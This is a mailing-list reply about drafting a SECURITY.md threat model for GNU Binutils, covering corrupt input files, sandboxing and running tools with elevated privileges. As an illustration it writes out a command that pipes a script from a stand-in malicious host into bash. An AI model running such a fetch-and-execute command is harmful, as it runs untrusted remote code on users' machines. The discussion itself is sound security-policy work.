Re: RFC: Adding a SECURITY.md document to the Binutils

Siddhesh Poyarekar
2023-04-13T12:55:19Z

On 2023-04-13 08:37, Richard Earnshaw wrote:
>> "Direct compromise of security" is essentially what we're trying to
>> define more strongly to prevent spurious CVE assignments.
>
> If a user can be tricked into opening a corrupt file (eg object file)
> and that causes a buffer overflow that's then used to send another file
> to a third party, you can't really pretend that's not a direct
> compromise of security.  We live in the real world and this sort of
> threat is real.

I agree that this sort of threat is real, which is why we should
recommend sandboxing to deal with corrupt/untrusted files. There is no
way that any program can be secured against untrusted input *after* it
has been supplied to it, especially if the input is in a Turing complete
form, like a program or a script.

This is why when one does a:

curl -s http://evil.website/malicious-script.sh | bash

it is a legitimate security issue, but it's not a vulnerability in bash,
nor can it be secured in bash. One must either do this in a sandbox to
contain its impact in that sandbox, or do a secondary analysis (again in
a sandbox) to determine that it is safe.

>>> a vulnerability in the generated output that was not already present
>>> in the files used as input.
>>>
>>> Note: none of the programs in the GNU Binutils suite need elevated
>>> system privileges (eg setuid) to operate and we recommend that users
>>> do not use them from accounts where such privileges are automatically
>>> available.
>>
>> We did have CVE-2021-20197, so it's not always setuid.
>
>
> Which is exactly the sort of scenario I was trying to exclude by this
> statement - don't run the tools with elevated privileges.

I should have clarified that I agree, just that mentioning setuid might
lull users into believing that this threat model is only related to setuid.

Sid